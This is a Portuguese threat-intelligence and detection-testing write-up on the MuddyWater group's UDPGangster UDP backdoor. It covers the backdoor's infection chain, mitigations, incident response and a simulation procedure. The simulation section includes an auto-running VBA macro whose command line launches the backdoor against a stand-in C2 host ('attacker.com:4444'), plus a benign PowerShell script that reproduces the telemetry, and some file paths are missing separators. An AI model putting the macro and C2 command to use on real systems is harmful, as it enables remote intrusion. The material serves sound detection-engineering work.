Ataques UDPGangster se Espalham por Vários Países

Resumo

UDPGangster é um backdoor baseado em UDP utilizado pelo grupo de ameaças MuddyWater para controlar remotamente hosts Windows. O comprometimento inicial ocorre por meio de um documento do Word malicioso que usa macros VBA para liberar e lançar a carga útil. O malware realiza extensivas verificações anti-análise e mantém a persistência copiando-se para o diretório AppData do usuário e criando uma chave Run. Recentes campanhas foram observadas visando usuários na Turquia, Israel e Azerbaijão.

Investigação

O FortiGuard Labs examinou os e-mails de phishing, a macro VBA embutida, o executável dropper e suas técnicas de persistência. Eles extraíram indicadores como caminhos de arquivos, entradas Run do registro, nomes de mutex e infraestrutura associada de C2. A correlação de endereços IP, domínios e caminhos PDB permitiu aos analistas relacionar esta atividade a operações anteriores do MuddyWater.

Mitigação

As etapas de mitigação incluem reforçar o bloqueio de macros ou treinamento robusto de usuários para prevenir a execução de macros, e implantar defesas nos endpoints que monitorem por gravações de arquivos suspeitos em pastas públicas ou de perfis de usuários, bem como modificações em chaves de registro Run. As equipes de rede devem monitorar tráfego UDP anômalo na porta 1269 e bloquear endereços IP e domínios maliciosos conhecidos para interromper canais C2.

Resposta

Quando uma atividade do UDPGangster for detectada, isole o endpoint impactado, colete memória volátil e imagens de disco completas, e procure pelo binário do backdoor e artefatos relacionados. Bloqueie a infraestrutura de C2 identificada, realize uma análise forense completa para descobrir qualquer sistema adicional comprometido, e atualize as assinaturas de segurança para detectar tanto os documentos macro maliciosos quanto a carga do backdoor.

Execução de Simulação

Pré-requisito: O Check de Pré‑voo de Telemetria & Baseline deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa do Ataque & Comandos:
  Um atacante entrega um documento do Word malicioso contendo uma macro VBA. A macro chama a API do Windows CreateProcessA para gerar cmd.exe e executar a carga do UDPGangster (udp_gangster.exe). A carga estabelece uma shell reversa para o servidor C2 do atacante. Como a macro passa explicitamente a string “CreateProcessA” e o literal cmd.exe na linha de comando, a regra de detecção será correspondida.

  1. Macro VBA (simplificada) – demonstra a chamada da API:

     Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
         (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
          ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
          ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
          ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
          ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
     
     Sub AutoOpen()
         Dim cmdLine As String
         cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
         Dim si As STARTUPINFO
         Dim pi As PROCESS_INFORMATION
         Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
     End Sub

  2. Desdobre a macro, abra o documento, e deixe a macro executar. O evento de criação do processo resultante conterá:

     CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"

• Script de Teste de Regressão: O seguinte script PowerShell reproduz a telemetria exata sem requerer um documento do Word. Ele chama a API nativa Win32 CreateProcessA via Add-Type.

  # Teste de regressão: chamada direta CreateProcessA com cmd.exe
  $source = @"
  using System;
  using System.Runtime.InteropServices;
  
  public class NativeMethods {
      [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
      public struct STARTUPINFO {
          public int cb;
          public string lpReserved;
          public string lpDesktop;
          public string lpTitle;
          public uint dwX;
          public uint dwY;
          public uint dwXSize;
          public uint dwYSize;
          public uint dwXCountChars;
          public uint dwYCountChars;
          public uint dwFillAttribute;
          public uint dwFlags;
          public short wShowWindow;
          public short cbReserved2;
          public IntPtr lpReserved2;
          public IntPtr hStdInput;
          public IntPtr hStdOutput;
          public IntPtr hStdError;
      }
  
      [StructLayout(LayoutKind.Sequential)]
      public struct PROCESS_INFORMATION {
          public IntPtr hProcess;
          public IntPtr hThread;
          public uint dwProcessId;
          public uint dwThreadId;
      }
  
      [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
      public static extern bool CreateProcessA(
          string lpApplicationName,
          string lpCommandLine,
          IntPtr lpProcessAttributes,
          IntPtr lpThreadAttributes,
          bool bInheritHandles,
          uint dwCreationFlags,
          IntPtr lpEnvironment,
          string lpCurrentDirectory,
          ref STARTUPINFO lpStartupInfo,
          out PROCESS_INFORMATION lpProcessInformation);
  }
  "@
  
  Add-Type $source
  
  $si = New-Object NativeMethods+STARTUPINFO
  $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
  $pi = New-Object NativeMethods+PROCESS_INFORMATION
  
  $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
  
  $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
  
  if (-not $result) {
      Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
  } else {
      Write-Host "CreateProcessA succeeded, command line logged."
  }

• Comandos de Limpeza: Remova o artefato criado durante a simulação.

  # Remova o arquivo de log temporário gerado pela simulação
  Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue